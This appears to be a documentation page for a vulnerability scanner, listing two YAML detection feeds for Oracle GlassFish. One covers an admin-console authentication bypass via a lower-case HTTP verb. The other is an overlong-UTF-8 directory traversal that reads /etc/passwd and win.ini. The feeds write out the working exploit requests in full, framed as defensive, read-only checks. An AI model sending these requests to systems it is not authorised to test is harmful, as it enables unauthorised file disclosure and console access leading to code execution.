GlassFish — 2 vulnerability checks

noctis ships 2 vulnerability checks for GlassFish, covering 2 CVEs; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

Oracle GlassFish Administration Console Authentication Bypass

CVECVE-2011-0807
Severitycritical · CVSS 10.0
Categoryauth-bypass — Auth bypass
Serviceshttp, https
Detectionset_var, tcp_connect, script, sleep, match · highest QoD 75
Feedtests/vulnerabilities/glassfish/CVE-2011-0807.yaml

Tests the Oracle GlassFish / Sun Java System Application Server administration console for the authentication bypass through a lower-case HTTP verb. The feed requests the protected application deployment page with "get" instead of "GET" (on the 3.x and on the 2.x console paths) and reports the flaw when the deployment page is returned for the lower-case request while the same request with the normal verb is still refused. A console that shows the deployment page even to the normal request is reported separately as reachable without password. When the console answers with its loading page, the feed waits for it to load before probing. Only read requests are sent.

How noctis detects it

  1. Raw TCP (TLS on HTTPS), sent verbatim: GET / HTTP/1.1
  2. Parses / computes the next value with a Rhai script
  3. Raw TCP (TLS on HTTPS), sent verbatim: get /common/applications/uploadFrame.jsf HTTP/1.1
  4. Raw TCP (TLS on HTTPS), sent verbatim: GET /common/applications/uploadFrame.jsf HTTP/1.1
  5. Raw TCP (TLS on HTTPS), sent verbatim: get /applications/upload.jsf HTTP/1.1
  6. Raw TCP (TLS on HTTPS), sent verbatim: GET /applications/upload.jsf HTTP/1.1
  7. Parses / computes the next value with a Rhai script
  8. Checks gf_verdict for ^bypass → finding QoD 75: Lower-case 'get' request returned the protected deployment page while the same 'GET' request did not — …
  9. Checks gf_verdict for ^open → finding QoD 70: Oracle GlassFish Administration Console Deployment Page Reachable Without Password

References:

Feed source — tests/vulnerabilities/glassfish/CVE-2011-0807.yaml
# Oracle GlassFish / Sun Java System Application Server administration console
# authentication bypass — CVE-2011-0807
#
# The administration console of GlassFish 2.1 / 2.1.1 / 3.0.1 and Sun Java
# System Application Server 9.1 (port 4848 by default) protects its pages with
# a servlet security constraint whose <http-method> list names the upper-case
# verbs only. A request whose verb is written in lower case ("get") is not
# covered by the constraint, yet the JSF servlet still renders the page, so an
# unauthenticated client reads any console page — including the application
# deployment form, which is the first step to uploading a WAR (code execution
# as the server user). Fixed in GlassFish 3.1 (Oracle CPU April 2011).
#
# Detection (QoD 75 — real exploitation, benign proof): the feed performs the
# bypass and reads the protected deployment page, then proves the content came
# from the bypass and not from an open console.
#   1. 3.x: `get /common/applications/uploadFrame.jsf` (the exploit) and
#      `GET /common/applications/uploadFrame.jsf` (control, normal verb).
#   2. 2.x / 9.x: the same pair on `/applications/upload.jsf`.
#   A pair fires when the lower-case reply is HTTP 200 with the deployment page
#   title (`<title>Deploy Applications or Modules` on 3.x, `<title>Deploy
#   Enterprise Applications/Modules</title>` on 2.x) and the upper-case control
#   reply does NOT carry it (login page instead).
#   If the control reply ALSO carries the deployment page, the console needs no
#   login at all: a separate QoD 70 finding reports the deploy page reachable
#   without password, as the bypass itself is not proven there (safety net —
#   stock 3.0.1 with an empty admin password still serves the login page to a
#   session-less GET, so it gets the QoD 75 finding).
#   GlassFish 3.0.x installs the console on first visit and answers with a
#   "loading" page meanwhile: a first GET / detects that page and waits 25 s
#   before the probes.
# Only GET-style reads are sent: nothing is uploaded, deployed or changed, and
# only the matched <title> line is kept as evidence.
#
# The lower-case verb must reach the server verbatim, so both requests use
# tcp_connect with a raw HTTP/1.1 request (TLS is added automatically on https
# services).
#
# Better than the NASL: OpenVAS only sends the request after its own GlassFish
# version and admin-console detection succeeded, picks a single URL from the
# detected major version, and never sends a control request — an open console
# that needs no login would be reported as this bypass, and a console not yet
# loaded is missed. This feed tries both console layouts without prior product
# detection, adds the upper-case control and waits for a lazily loaded console.
#
# Ported from OpenVAS/Greenbone NVT
# `2011/gb_oracle_glassfish_n_sjas_sec_bypass_vuln.nasl` (OID
# 1.3.6.1.4.1.25623.1.0.801926, GPL-2.0-only); request shape and page titles
# cross-checked with Metasploit `exploit/multi/http/glassfish_deployer`
# (try_glassfish_auth_bypass).
uid: eacf8426-ca04-49b2-99e7-92cf03a27f25
name: "Oracle GlassFish Administration Console Authentication Bypass (CVE-2011-0807)"
description: |
  Tests the Oracle GlassFish / Sun Java System Application Server
  administration console for the authentication bypass through a lower-case
  HTTP verb. The feed requests the protected application deployment page with
  "get" instead of "GET" (on the 3.x and on the 2.x console paths) and reports
  the flaw when the deployment page is returned for the lower-case request
  while the same request with the normal verb is still refused. A console that
  shows the deployment page even to the normal request is reported separately
  as reachable without password. When the console answers with its
  loading page, the feed waits for it to load before probing. Only read
  requests are sent.
cves: [CVE-2011-0807]
cvss: 10.0
severity: critical
category: auth-bypass
confidence_base: 0.20
tags: [glassfish, oracle, sun, java, admin-console, auth-bypass, verb-tampering]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2011-0807"
  - "http://www.oracle.com/technetwork/topics/security/cpuapr2011-301950.html"
  - "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/http/glassfish_deployer.rb"

steps:
  # Pre-initialise every stored result a script reads: a refused connection
  # leaves store_as unset, and an undefined variable aborts the whole test.
  - id: init-v3-bypass
    action: set_var
    var_name: gf3_bp
    var_value: {connected: false, banner: ""}

  - id: init-v3-control
    action: set_var
    var_name: gf3_ctl
    var_value: {connected: false, banner: ""}

  - id: init-v2-bypass
    action: set_var
    var_name: gf2_bp
    var_value: {connected: false, banner: ""}

  - id: init-v2-control
    action: set_var
    var_name: gf2_ctl
    var_value: {connected: false, banner: ""}

  # GlassFish 3.0.x loads the console lazily: until the first visit has
  # installed it, every request on the admin port gets a "loading" page
  # (meta refresh after 5 s). Touch the console once and, when that page comes
  # back, give it time to load before the probes.
  - id: init-warmup
    action: set_var
    var_name: gf_warm
    var_value: {connected: false, banner: ""}

  - id: warmup
    action: tcp_connect
    port: "{{port}}"
    send: "GET / HTTP/1.1\r\nHost: {{target_host}}\r\nConnection: close\r\n\r\n"
    timeout_secs: 10
    store_as: gf_warm

  - id: console-loading
    action: script
    code: |
      type_of(gf_warm.banner) == "string" && ereg("http-equiv=\"refresh\" content=\"5;url=", gf_warm.banner)
    store_as: gf_loading

  - id: wait-console-load
    action: sleep
    duration_ms: 25000
    condition: "gf_loading"

  # ── 1. GlassFish 3.x console layout ──────────────────────────────────────
  - id: bypass-v3
    action: tcp_connect
    port: "{{port}}"
    send: "get /common/applications/uploadFrame.jsf HTTP/1.1\r\nHost: {{target_host}}\r\nConnection: close\r\n\r\n"
    timeout_secs: 10
    store_as: gf3_bp

  - id: control-v3
    action: tcp_connect
    port: "{{port}}"
    send: "GET /common/applications/uploadFrame.jsf HTTP/1.1\r\nHost: {{target_host}}\r\nConnection: close\r\n\r\n"
    timeout_secs: 10
    store_as: gf3_ctl

  # ── 2. GlassFish 2.x / Application Server 9.x console layout ─────────────
  - id: bypass-v2
    action: tcp_connect
    port: "{{port}}"
    send: "get /applications/upload.jsf HTTP/1.1\r\nHost: {{target_host}}\r\nConnection: close\r\n\r\n"
    timeout_secs: 10
    store_as: gf2_bp

  - id: control-v2
    action: tcp_connect
    port: "{{port}}"
    send: "GET /applications/upload.jsf HTTP/1.1\r\nHost: {{target_host}}\r\nConnection: close\r\n\r\n"
    timeout_secs: 10
    store_as: gf2_ctl

  # Classify each pair: "bypass" when only the lower-case request got the
  # deployment page, "open" when the normal request got it too. A bypass on
  # either layout wins over an open console.
  - id: classify
    action: script
    code: |
      let title = "<title>Deploy[^<]*Applications[^<]*Modules";
      let verdict = "";
      let pairs = [
        ["/common/applications/uploadFrame.jsf", gf3_bp.banner, gf3_ctl.banner],
        ["/applications/upload.jsf", gf2_bp.banner, gf2_ctl.banner]
      ];
      for p in pairs {
        let bp = p[1];
        let ctl = p[2];
        if type_of(bp) == "string" && ereg("^HTTP/1\\.[01] 200", bp) && ereg(title, bp) {
          let line = eregmatch(title + "[^<]*", bp);
          let ctl_hit = type_of(ctl) == "string" && ereg("^HTTP/1\\.[01] 200", ctl) && ereg(title, ctl);
          if !ctl_hit {
            verdict = "bypass " + p[0] + " " + line[0];
            break;
          }
          if verdict == "" {
            verdict = "open " + p[0] + " " + line[0];
          }
        }
      }
      verdict
    store_as: gf_verdict

  - id: bypass-confirmed
    action: match
    source: gf_verdict
    pattern: "^bypass "
    on_match:
      finding:
        description: "The GlassFish administration console returned its protected application deployment page to an unauthenticated request sent with the lower-case verb 'get', while the same request with 'GET' was sent to the login page. Any console page can be read and driven this way, including the deployment form, which leads to code execution as the server user."
        remediation: "Upgrade to GlassFish 3.1 or later (or apply the Oracle Critical Patch Update of April 2011), and restrict the administration port (4848) to trusted hosts."
        confidence_delta: 0.60   # 0.20 + 0.60 = 0.80
        qod: 75
        evidence: "Lower-case 'get' request returned the protected deployment page while the same 'GET' request did not — {{gf_verdict}}"
      stop: true

  - id: console-open
    action: match
    source: gf_verdict
    pattern: "^open "
    on_match:
      finding:
        title: "Oracle GlassFish Administration Console Deployment Page Reachable Without Password"
        description: "The GlassFish administration console returned its application deployment page to an unauthenticated request with the normal GET verb, so anyone reaching this port can deploy an application (code execution as the server user). The lower-case verb bypass (CVE-2011-0807) could not be told apart because the console asks for no login at all."
        remediation: "Set an administrator password (asadmin change-admin-password), restrict the administration port (4848) to trusted hosts, and upgrade to GlassFish 3.1 or later."
        confidence_delta: 0.50   # 0.20 + 0.50 = 0.70
        qod: 70
        evidence: "Both the 'get' and the 'GET' request returned the deployment page — {{gf_verdict}}"
      stop: true

Oracle GlassFish Server Directory Traversal

CVECVE-2017-1000028
Severityhigh · CVSS 7.5
Categoryfile-read — File read
Serviceshttp, https
Detectionset_var, tcp_connect, script, match · highest QoD 75
Feedtests/vulnerabilities/glassfish/CVE-2017-1000028.yaml

Tests Oracle GlassFish Server (<= 4.1.1) for the unauthenticated directory traversal through overlong UTF-8 dot sequences (%c0%ae) under /theme/META-INF/. The feed reads /etc/passwd (or windows/win.ini) through the traversal and confirms the file content is disclosed only when the traversal is sent.

How noctis detects it

  1. Raw TCP (TLS on HTTPS), sent verbatim: GET /theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%…
  2. Raw TCP (TLS on HTTPS), sent verbatim: GET /theme/META-INF/etc/passwd HTTP/1.0
  3. Parses / computes the next value with a Rhai script
  4. Checks root_line for ^root:[^:]*:0:0: → finding QoD 75: GlassFish overlong-UTF-8 traversal read /etc/passwd via GET /theme/META-INF/(%c0%ae%c0%ae/ x10)etc/passwd (control GET /theme/META-INF/etc/…
  5. Raw TCP (TLS on HTTPS), sent verbatim: GET /theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%…
  6. Raw TCP (TLS on HTTPS), sent verbatim: GET /theme/META-INF/windows/win.ini HTTP/1.0
  7. Parses / computes the next value with a Rhai script
  8. Checks winini_hit for ^win\.ini → finding QoD 75: GlassFish overlong-UTF-8 traversal read windows/win.ini via GET /theme/META-INF/(%c0%ae%c0%ae/ x10)windows/win.ini (control GET /theme/META…

References:

Feed source — tests/vulnerabilities/glassfish/CVE-2017-1000028.yaml
# Oracle GlassFish Server directory traversal — CVE-2017-1000028
#
# GlassFish Server Open Source Edition <= 4.1.1 decodes the overlong UTF-8
# sequence `%c0%ae` as '.' AFTER its path-traversal check. A request under the
# admin console's static `/theme/META-INF/` resource handler with ten
# `%c0%ae%c0%ae/` segments therefore climbs out of the docroot and the server
# returns any file the GlassFish process can read — unauthenticated
# (exploit-db 39441, Nuclei, OpenVAS).
#
# Detection (QoD 75 — real exploitation, benign proof): the feed performs the
# actual file read and confirms it in-band.
#   1. Unix: GET /theme/META-INF/<10 × %c0%ae%c0%ae/>etc/passwd (the exploit),
#      then GET /theme/META-INF/etc/passwd (control, no traversal). Fires only
#      when the exploit reply is HTTP 200 and carries a genuine /etc/passwd root
#      entry (`root:<pw>:0:0:`) that the control reply does NOT carry.
#   2. Windows: same pair for windows/win.ini, firing only when the exploit
#      reply is HTTP 200 with both the `[fonts]` and `[extensions]` sections
#      and the control reply has neither.
# The control request rules out a catch-all page that echoes passwd-like text.
# /etc/passwd and win.ini are world-readable and hold no secrets; only the
# matched root line (never the full body) is kept as evidence. Nothing is
# written, executed or deleted on the target.
#
# Payload: `%c0%ae` must reach the server verbatim — reqwest would normalise
# the path — so both requests use tcp_connect with a raw HTTP/1.0 request
# (TLS is added automatically on https services).
#
# Better than the NASL: OpenVAS only checks the root-entry regex on the exploit
# reply (a page that already contains passwd-like text false-positives) and
# runs only where its GlassFish detection found the product; this feed adds the
# no-traversal control request and needs no prior product detection, so it
# also catches GlassFish behind a stripped Server header (GlassFish' admin
# console usually runs on 4848/https, which nmap reports as https).
#
# Ported from OpenVAS/Greenbone NVT
# `2016/gb_oracle_glass_fish_dir_trav_vuln.nasl` (OID 1.3.6.1.4.1.25623.1.0.806848,
# GPL-2.0-only); cross-checked with Nuclei `http/cves/2017/CVE-2017-1000028.yaml`.
uid: 69ef067a-4528-45bf-a965-e530a13ad398
name: "Oracle GlassFish Server Directory Traversal (CVE-2017-1000028)"
description: |
  Tests Oracle GlassFish Server (<= 4.1.1) for the unauthenticated directory
  traversal through overlong UTF-8 dot sequences (%c0%ae) under
  /theme/META-INF/. The feed reads /etc/passwd (or windows/win.ini) through
  the traversal and confirms the file content is disclosed only when the
  traversal is sent.
cves: [CVE-2017-1000028]
cvss: 7.5
severity: high
category: file-read
confidence_base: 0.25
tags: [glassfish, oracle, java, path-traversal, file-read, lfi, overlong-utf8, intrusive]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2017-1000028"
  - "https://www.exploit-db.com/exploits/39441"
  - "https://www.trustwave.com/en-us/resources/security-resources/security-advisories/?fid=18822"
  - "https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2017/CVE-2017-1000028.yaml"

steps:
  # Pre-initialise every stored result a script reads: a refused connection
  # leaves store_as unset, and an undefined variable aborts the whole test.
  - id: init-unix
    action: set_var
    var_name: gf_unix
    var_value: {connected: false, banner: ""}

  - id: init-unix-ctl
    action: set_var
    var_name: gf_unix_ctl
    var_value: {connected: false, banner: ""}

  - id: init-win
    action: set_var
    var_name: gf_win
    var_value: {connected: false, banner: ""}

  - id: init-win-ctl
    action: set_var
    var_name: gf_win_ctl
    var_value: {connected: false, banner: ""}

  # ── 1. Unix: overlong-UTF-8 traversal to /etc/passwd ────────────────────
  - id: traversal-passwd
    action: tcp_connect
    port: "{{port}}"
    send: "GET /theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
    timeout_secs: 10
    store_as: gf_unix

  - id: control-passwd
    action: tcp_connect
    port: "{{port}}"
    send: "GET /theme/META-INF/etc/passwd HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
    timeout_secs: 10
    store_as: gf_unix_ctl

  # Keep only the disclosed root entry: exploit reply must be HTTP 200, and
  # the control reply must not already carry a root entry.
  - id: extract-root-line
    action: script
    code: |
      let line = "";
      if type_of(gf_unix.banner) == "string" && ereg("^HTTP/1\\.[01] 200", gf_unix.banner) {
        line = egrep("^root:[^:]*:0:0:", gf_unix.banner);
        if type_of(gf_unix_ctl.banner) == "string" && egrep("^root:[^:]*:0:0:", gf_unix_ctl.banner) != "" {
          line = "";
        }
      }
      line
    store_as: root_line

  - id: passwd-disclosed
    action: match
    source: root_line
    pattern: "^root:[^:]*:0:0:"
    on_match:
      finding:
        confidence_delta: 0.60
        qod: 75
        evidence: "GlassFish overlong-UTF-8 traversal read /etc/passwd via GET /theme/META-INF/(%c0%ae%c0%ae/ x10)etc/passwd (control GET /theme/META-INF/etc/passwd did not) — {{root_line}}"
      stop: true

  # ── 2. Windows: same traversal to windows/win.ini ────────────────────────
  - id: traversal-winini
    action: tcp_connect
    port: "{{port}}"
    send: "GET /theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/windows/win.ini HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
    timeout_secs: 10
    store_as: gf_win

  - id: control-winini
    action: tcp_connect
    port: "{{port}}"
    send: "GET /theme/META-INF/windows/win.ini HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
    timeout_secs: 10
    store_as: gf_win_ctl

  - id: check-winini
    action: script
    code: |
      let hit = "";
      if type_of(gf_win.banner) == "string" && ereg("^HTTP/1\\.[01] 200", gf_win.banner)
         && ereg("(?m)^\\[fonts\\]", gf_win.banner) && ereg("(?m)^\\[extensions\\]", gf_win.banner) {
        hit = "win.ini [fonts] + [extensions] sections disclosed";
        if type_of(gf_win_ctl.banner) == "string" && ereg("(?m)^\\[fonts\\]", gf_win_ctl.banner) {
          hit = "";
        }
      }
      hit
    store_as: winini_hit

  - id: winini-disclosed
    action: match
    source: winini_hit
    pattern: "^win\\.ini "
    on_match:
      finding:
        confidence_delta: 0.60
        qod: 75
        evidence: "GlassFish overlong-UTF-8 traversal read windows/win.ini via GET /theme/META-INF/(%c0%ae%c0%ae/ x10)windows/win.ini (control GET /theme/META-INF/windows/win.ini did not) — {{winini_hit}}"
      stop: true

View these feeds on GitHub